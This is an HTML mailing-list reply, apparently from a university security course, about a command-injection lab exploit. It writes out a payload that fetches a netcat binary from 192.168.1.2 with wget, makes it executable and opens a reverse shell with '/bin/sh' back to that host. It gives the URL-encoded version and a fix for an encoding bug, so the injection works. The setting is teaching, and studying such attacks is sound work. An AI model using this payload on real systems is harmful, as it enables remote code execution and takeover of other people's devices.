<div dir="ltr"><div><br><br>On Mon, Jan 12, 2015 at 12:39 PM, Razvan Deaconescu <<a href="mailto:razvan.deaconescu@cs.pub.ro">razvan.deaconescu@cs.pub.ro</a>> wrote:<br>> Hi.<br>><br>> At today's lecture, at the beginning of the second hour (7pm), Radu<br>> Caragea will show us a practical exploit: dicovering the vulnerability<br>> and the practic steps in exploiting it.<br><br><br>Hello, as promised, I looked into why some of the payloads weren't working, they all had the same problem. <br>An example of one which didn't work is the following:<br>; cd /tmp; wget <a href="http://192.168.1.2/nc_static_mips">192.168.1.2/nc_static_mips</a>; chmod +x nc_static_mips; ./nc_static_mips -e /bin/sh 192.168.1.2 12345;<br><br></div><div>After entering it into Burp Proxy to modify the request it gets encoded into:<br></div><div>;%20cd%20/tmp;%20wget%20192.168.1.2/nc_static_mips;%20chmod%20+x%20nc_static_mips;%20./nc_static_mips%20-e%20/bin/sh%20192.168.1.2%2012345;<br><br></div><div>However, as pointed out at [1] "URL encoding normally replaces a space with a 
plus (+) sign or with %20.". The reverse also applies.<br></div><div>So the problematic part is actually:<br>;%20chmod%20+x%20nc_static_mips;<br></div><div>Which upon decoding by the web server will turn into:<br></div><div>; chmod  x nc_static_mips;<br></div><div><br></div><div>So the problem lies in Burp's assumptions about what I entered into that field. A quick fix is to use python's urllib which is more cautious and even encodes ";"<br></div><div>>>> urllib.quote("; chmod +x nc_static_mips;")<br>'%3B%20chmod%20%2Bx%20nc_static_mips%3B'<br><br></div><div>It is sufficient to replace "+" with "%2B" in the initial payload for everything to work as expected.<br></div><div><br><br>[1] <a href="http://www.w3schools.com/tags/ref_urlencode.asp">http://www.w3schools.com/tags/ref_urlencode.asp</a><br></div><div><br></div></div>